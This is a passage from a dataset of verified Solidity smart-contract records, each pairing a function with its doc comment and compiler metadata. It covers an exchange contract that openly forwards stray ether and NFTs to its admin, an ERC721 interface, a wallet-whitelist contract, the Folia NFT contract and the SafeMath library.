constructor( uint256 _mf, uint256 _uf, uint256 _cf, uint256 _tf ) public {
tokenSCAs.push( address(0) );
safelist[address(0)] = true;
makerfee = _mf;
updatefee = _uf;
cancelfee = _cf;
takerfee = _tf;
magic = bytes4( keccak256(
abi.encodePacked("onERC721Received(address,address,uint256,bytes)")) );
}
function setFee( uint8 _which, uint256 _amtwei ) public isAdmin {
if (_which == uint8(0)) makerfee = _amtwei;
else if (_which == uint8(1)) updatefee = _amtwei;
else if (_which == uint8(2)) cancelfee = _amtwei;
else if (_which == uint8(3)) takerfee = _amtwei;
else revert( "invalid fee specified" );
}
function tokenCount() public view returns (uint256) {
return tokenSCAs.length;
}
function listToken( address _toksca, bool _stat ) public isAdmin {
tokenSCAs.push( _toksca );
safelist[_toksca] = _stat;
}
function setClient( string memory _client ) public isAdmin {
clientIPFSHash = _client;
}
// =========================================================================
// Remaining logic attempts to capture accidental donations of ether or
// certain token types
// =========================================================================
// if caller sends ether and leaves calldata blank
receive() external payable {
admin_.transfer( msg.value );
}
// called if calldata has a value that does not match a function
fallback() external payable {
admin_.transfer( msg.value );
}
// ERC721 (NFT) transfer callback
function onERC721Received( address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data) external returns(bytes4) {
if ( _operator == address(0x0)
|| _from == address(0x0)
|| _data.length > 0 ) {} // suppress warnings unused params
ERC721(msg.sender).transferFrom( address(this), admin_, _tokenId );
return magic;
}
} | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/oracle - clients must manage listings carefully.
// 4. All software has bugs and smart contracts are difficult to get right.
// No warranties, use at own risk.
// 5. Scams happen. Buyer is solely responsible to verify listing details.
//
// **************************************************************************** | LineComment | onERC721Received | function onERC721Received( address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data) external returns(bytes4) {
if ( _operator == address(0x0)
|| _from == address(0x0)
|| _data.length > 0 ) {} // suppress warnings unused params
ERC721(msg.sender).transferFrom( address(this), admin_, _tokenId );
return magic;
}
| // ERC721 (NFT) transfer callback | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
6057,
6517
]
} | 4,208 |
GemSwap | interfaces/markets/tokens/IERC721.sol | 0xce8da327a881093f747b2d7718dcbb9115e44076 | Solidity | IERC721 | interface IERC721 {
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external;
function setApprovalForAll(address operator, bool approved) external;
function approve(address to, uint256 tokenId) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
} | transferFrom | function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
| /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer | NatSpecSingleLine | v0.8.11+commit.d7f03943 | {
"func_code_index": [
600,
689
]
} | 4,209 |
||||
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUserAdminRights(msg.sender), "Whitelisted: You need to have end user admin rights!");
_;
}
constructor(address roles) public {
_roles = RolesUsers(roles);
}
function changeRolesAddress(address newRoles) public onlyOwner {
_roles = RolesUsers(newRoles);
}
function _addWallet(string memory user, address wallet) private {
bytes32 userBytes = getUserBytes(user);
_walletToUser[wallet] = userBytes;
emit AddedWallet(userBytes, wallet, user);
}
function _removeWallet(address wallet) private {
bytes32 userBytes = getUserBytesFromWallet(wallet);
delete _walletToUser[wallet];
emit RemovedWallet(userBytes, wallet);
}
/// @notice registers wallet addresses for users
/// @param users Array of strings that identifies users
/// @param wallets Array of wallet addresses
function addWalletList(string[] memory users, address[] memory wallets) public onlyEndUserAdmin {
require(users.length == wallets.length, "Whitelisted: User and wallet lists must be of same length!");
for (uint i = 0; i < wallets.length; i++) {
_addWallet(users[i], wallets[i]);
}
}
/// @notice removes wallets
/// @param wallets Array of addresses
function removeWalletList(address[] memory wallets) public onlyEndUserAdmin {
for (uint i = 0; i < wallets.length; i++) {
_removeWallet(wallets[i]);
}
}
/// @notice retrieves keccak256 hash of user based on wallet
/// @param wallet Address of user
/// @return keccak256 hash
function getUserBytesFromWallet(address wallet) public view returns (bytes32) {
return _walletToUser[wallet];
}
/// @notice get keccak256 hash of string
/// @param user User or Certified Partner identifier
/// @return keccak256 hash
function getUserBytes(string memory user) public pure returns (bytes32) {
return keccak256(abi.encode(user));
}
} | /// @title Users | NatSpecSingleLine | addWalletList | function addWalletList(string[] memory users, address[] memory wallets) public onlyEndUserAdmin {
require(users.length == wallets.length, "Whitelisted: User and wallet lists must be of same length!");
for (uint i = 0; i < wallets.length; i++) {
_addWallet(users[i], wallets[i]);
}
}
| /// @notice registers wallet addresses for users
/// @param users Array of strings that identifies users
/// @param wallets Array of wallet addresses | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
1206,
1532
]
} | 4,210 |
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUserAdminRights(msg.sender), "Whitelisted: You need to have end user admin rights!");
_;
}
constructor(address roles) public {
_roles = RolesUsers(roles);
}
function changeRolesAddress(address newRoles) public onlyOwner {
_roles = RolesUsers(newRoles);
}
function _addWallet(string memory user, address wallet) private {
bytes32 userBytes = getUserBytes(user);
_walletToUser[wallet] = userBytes;
emit AddedWallet(userBytes, wallet, user);
}
function _removeWallet(address wallet) private {
bytes32 userBytes = getUserBytesFromWallet(wallet);
delete _walletToUser[wallet];
emit RemovedWallet(userBytes, wallet);
}
/// @notice registers wallet addresses for users
/// @param users Array of strings that identifies users
/// @param wallets Array of wallet addresses
function addWalletList(string[] memory users, address[] memory wallets) public onlyEndUserAdmin {
require(users.length == wallets.length, "Whitelisted: User and wallet lists must be of same length!");
for (uint i = 0; i < wallets.length; i++) {
_addWallet(users[i], wallets[i]);
}
}
/// @notice removes wallets
/// @param wallets Array of addresses
function removeWalletList(address[] memory wallets) public onlyEndUserAdmin {
for (uint i = 0; i < wallets.length; i++) {
_removeWallet(wallets[i]);
}
}
/// @notice retrieves keccak256 hash of user based on wallet
/// @param wallet Address of user
/// @return keccak256 hash
function getUserBytesFromWallet(address wallet) public view returns (bytes32) {
return _walletToUser[wallet];
}
/// @notice get keccak256 hash of string
/// @param user User or Certified Partner identifier
/// @return keccak256 hash
function getUserBytes(string memory user) public pure returns (bytes32) {
return keccak256(abi.encode(user));
}
} | /// @title Users | NatSpecSingleLine | removeWalletList | function removeWalletList(address[] memory wallets) public onlyEndUserAdmin {
for (uint i = 0; i < wallets.length; i++) {
_removeWallet(wallets[i]);
}
}
| /// @notice removes wallets
/// @param wallets Array of addresses | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
1608,
1796
]
} | 4,211 |
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUserAdminRights(msg.sender), "Whitelisted: You need to have end user admin rights!");
_;
}
constructor(address roles) public {
_roles = RolesUsers(roles);
}
function changeRolesAddress(address newRoles) public onlyOwner {
_roles = RolesUsers(newRoles);
}
function _addWallet(string memory user, address wallet) private {
bytes32 userBytes = getUserBytes(user);
_walletToUser[wallet] = userBytes;
emit AddedWallet(userBytes, wallet, user);
}
function _removeWallet(address wallet) private {
bytes32 userBytes = getUserBytesFromWallet(wallet);
delete _walletToUser[wallet];
emit RemovedWallet(userBytes, wallet);
}
/// @notice registers wallet addresses for users
/// @param users Array of strings that identifies users
/// @param wallets Array of wallet addresses
function addWalletList(string[] memory users, address[] memory wallets) public onlyEndUserAdmin {
require(users.length == wallets.length, "Whitelisted: User and wallet lists must be of same length!");
for (uint i = 0; i < wallets.length; i++) {
_addWallet(users[i], wallets[i]);
}
}
/// @notice removes wallets
/// @param wallets Array of addresses
function removeWalletList(address[] memory wallets) public onlyEndUserAdmin {
for (uint i = 0; i < wallets.length; i++) {
_removeWallet(wallets[i]);
}
}
/// @notice retrieves keccak256 hash of user based on wallet
/// @param wallet Address of user
/// @return keccak256 hash
function getUserBytesFromWallet(address wallet) public view returns (bytes32) {
return _walletToUser[wallet];
}
/// @notice get keccak256 hash of string
/// @param user User or Certified Partner identifier
/// @return keccak256 hash
function getUserBytes(string memory user) public pure returns (bytes32) {
return keccak256(abi.encode(user));
}
} | /// @title Users | NatSpecSingleLine | getUserBytesFromWallet | function getUserBytesFromWallet(address wallet) public view returns (bytes32) {
return _walletToUser[wallet];
}
| /// @notice retrieves keccak256 hash of user based on wallet
/// @param wallet Address of user
/// @return keccak256 hash | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
1932,
2059
]
} | 4,212 |
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUserAdminRights(msg.sender), "Whitelisted: You need to have end user admin rights!");
_;
}
constructor(address roles) public {
_roles = RolesUsers(roles);
}
function changeRolesAddress(address newRoles) public onlyOwner {
_roles = RolesUsers(newRoles);
}
function _addWallet(string memory user, address wallet) private {
bytes32 userBytes = getUserBytes(user);
_walletToUser[wallet] = userBytes;
emit AddedWallet(userBytes, wallet, user);
}
function _removeWallet(address wallet) private {
bytes32 userBytes = getUserBytesFromWallet(wallet);
delete _walletToUser[wallet];
emit RemovedWallet(userBytes, wallet);
}
/// @notice registers wallet addresses for users
/// @param users Array of strings that identifies users
/// @param wallets Array of wallet addresses
function addWalletList(string[] memory users, address[] memory wallets) public onlyEndUserAdmin {
require(users.length == wallets.length, "Whitelisted: User and wallet lists must be of same length!");
for (uint i = 0; i < wallets.length; i++) {
_addWallet(users[i], wallets[i]);
}
}
/// @notice removes wallets
/// @param wallets Array of addresses
function removeWalletList(address[] memory wallets) public onlyEndUserAdmin {
for (uint i = 0; i < wallets.length; i++) {
_removeWallet(wallets[i]);
}
}
/// @notice retrieves keccak256 hash of user based on wallet
/// @param wallet Address of user
/// @return keccak256 hash
function getUserBytesFromWallet(address wallet) public view returns (bytes32) {
return _walletToUser[wallet];
}
/// @notice get keccak256 hash of string
/// @param user User or Certified Partner identifier
/// @return keccak256 hash
function getUserBytes(string memory user) public pure returns (bytes32) {
return keccak256(abi.encode(user));
}
} | /// @title Users | NatSpecSingleLine | getUserBytes | function getUserBytes(string memory user) public pure returns (bytes32) {
return keccak256(abi.encode(user));
}
| /// @notice get keccak256 hash of string
/// @param user User or Certified Partner identifier
/// @return keccak256 hash | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
2194,
2321
]
} | 4,213 |
FoliaController | contracts/Folia.sol | 0x55c7d3136ccdd9adc7cfa576e6b20154cd51b716 | Solidity | Folia | contract Folia is ERC721Full, Ownable {
using Roles for Roles.Role;
Roles.Role private _admins;
uint8 admins;
address public metadata;
address public controller;
modifier onlyAdminOrController() {
require((_admins.has(msg.sender) || msg.sender == controller), "DOES_NOT_HAVE_ADMIN_OR_CONTROLLER_ROLE");
_;
}
modifier onlyAdmin() {
require(_admins.has(msg.sender), "DOES_NOT_HAVE_ADMIN_ROLE");
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, operator or controller
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(_isApprovedOrOwner(msg.sender, _tokenId) || msg.sender == controller);
_;
}
constructor(string memory name, string memory symbol, address _metadata) public ERC721Full(name, symbol) {
metadata = _metadata;
_admins.add(msg.sender);
admins += 1;
}
function mint(address recepient, uint256 tokenId) public onlyAdminOrController {
_mint(recepient, tokenId);
}
function burn(uint256 tokenId) public onlyAdminOrController {
_burn(ownerOf(tokenId), tokenId);
}
function updateMetadata(address _metadata) public onlyAdminOrController {
metadata = _metadata;
}
function updateController(address _controller) public onlyAdminOrController {
controller = _controller;
}
function addAdmin(address _admin) public onlyOwner {
_admins.add(_admin);
admins += 1;
}
function removeAdmin(address _admin) public onlyOwner {
require(admins > 1, "CANT_REMOVE_LAST_ADMIN");
_admins.remove(_admin);
admins -= 1;
}
function tokenURI(uint _tokenId) external view returns (string memory _infoUrl) {
return Metadata(metadata).tokenURI(_tokenId);
}
/**
* @dev Moves Eth to a certain address for use in the CloversController
* @param _to The address to receive the Eth.
* @param _amount The amount of Eth to be transferred.
*/
function moveEth(address payable _to, uint256 _amount) public onlyAdminOrController {
require(_amount <= address(this).balance);
_to.transfer(_amount);
}
/**
* @dev Moves Token to a certain address for use in the CloversController
* @param _to The address to receive the Token.
* @param _amount The amount of Token to be transferred.
* @param _token The address of the Token to be transferred.
*/
function moveToken(address _to, uint256 _amount, address _token) public onlyAdminOrController returns (bool) {
require(_amount <= IERC20(_token).balanceOf(address(this)));
return IERC20(_token).transfer(_to, _amount);
}
} | /**
* The Token contract does this and that...
*/ | NatSpecMultiLine | moveEth | function moveEth(address payable _to, uint256 _amount) public onlyAdminOrController {
require(_amount <= address(this).balance);
_to.transfer(_amount);
}
| /**
* @dev Moves Eth to a certain address for use in the CloversController
* @param _to The address to receive the Eth.
* @param _amount The amount of Eth to be transferred.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://0ee8a4dc900d0696881ade5665eeb761c18cbf2d0aa12856deb8467ccadd8df8 | {
"func_code_index": [
2177,
2358
]
} | 4,214 |
FoliaController | contracts/Folia.sol | 0x55c7d3136ccdd9adc7cfa576e6b20154cd51b716 | Solidity | Folia | contract Folia is ERC721Full, Ownable {
using Roles for Roles.Role;
Roles.Role private _admins;
uint8 admins;
address public metadata;
address public controller;
modifier onlyAdminOrController() {
require((_admins.has(msg.sender) || msg.sender == controller), "DOES_NOT_HAVE_ADMIN_OR_CONTROLLER_ROLE");
_;
}
modifier onlyAdmin() {
require(_admins.has(msg.sender), "DOES_NOT_HAVE_ADMIN_ROLE");
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, operator or controller
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(_isApprovedOrOwner(msg.sender, _tokenId) || msg.sender == controller);
_;
}
constructor(string memory name, string memory symbol, address _metadata) public ERC721Full(name, symbol) {
metadata = _metadata;
_admins.add(msg.sender);
admins += 1;
}
function mint(address recepient, uint256 tokenId) public onlyAdminOrController {
_mint(recepient, tokenId);
}
function burn(uint256 tokenId) public onlyAdminOrController {
_burn(ownerOf(tokenId), tokenId);
}
function updateMetadata(address _metadata) public onlyAdminOrController {
metadata = _metadata;
}
function updateController(address _controller) public onlyAdminOrController {
controller = _controller;
}
function addAdmin(address _admin) public onlyOwner {
_admins.add(_admin);
admins += 1;
}
function removeAdmin(address _admin) public onlyOwner {
require(admins > 1, "CANT_REMOVE_LAST_ADMIN");
_admins.remove(_admin);
admins -= 1;
}
function tokenURI(uint _tokenId) external view returns (string memory _infoUrl) {
return Metadata(metadata).tokenURI(_tokenId);
}
/**
* @dev Moves Eth to a certain address for use in the CloversController
* @param _to The address to receive the Eth.
* @param _amount The amount of Eth to be transferred.
*/
function moveEth(address payable _to, uint256 _amount) public onlyAdminOrController {
require(_amount <= address(this).balance);
_to.transfer(_amount);
}
/**
* @dev Moves Token to a certain address for use in the CloversController
* @param _to The address to receive the Token.
* @param _amount The amount of Token to be transferred.
* @param _token The address of the Token to be transferred.
*/
function moveToken(address _to, uint256 _amount, address _token) public onlyAdminOrController returns (bool) {
require(_amount <= IERC20(_token).balanceOf(address(this)));
return IERC20(_token).transfer(_to, _amount);
}
} | /**
* The Token contract does this and that...
*/ | NatSpecMultiLine | moveToken | function moveToken(address _to, uint256 _amount, address _token) public onlyAdminOrController returns (bool) {
require(_amount <= IERC20(_token).balanceOf(address(this)));
return IERC20(_token).transfer(_to, _amount);
}
| /**
* @dev Moves Token to a certain address for use in the CloversController
* @param _to The address to receive the Token.
* @param _amount The amount of Token to be transferred.
* @param _token The address of the Token to be transferred.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://0ee8a4dc900d0696881ade5665eeb761c18cbf2d0aa12856deb8467ccadd8df8 | {
"func_code_index": [
2632,
2879
]
} | 4,215 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
251,
437
]
} | 4,216 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
707,
848
]
} | 4,217 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
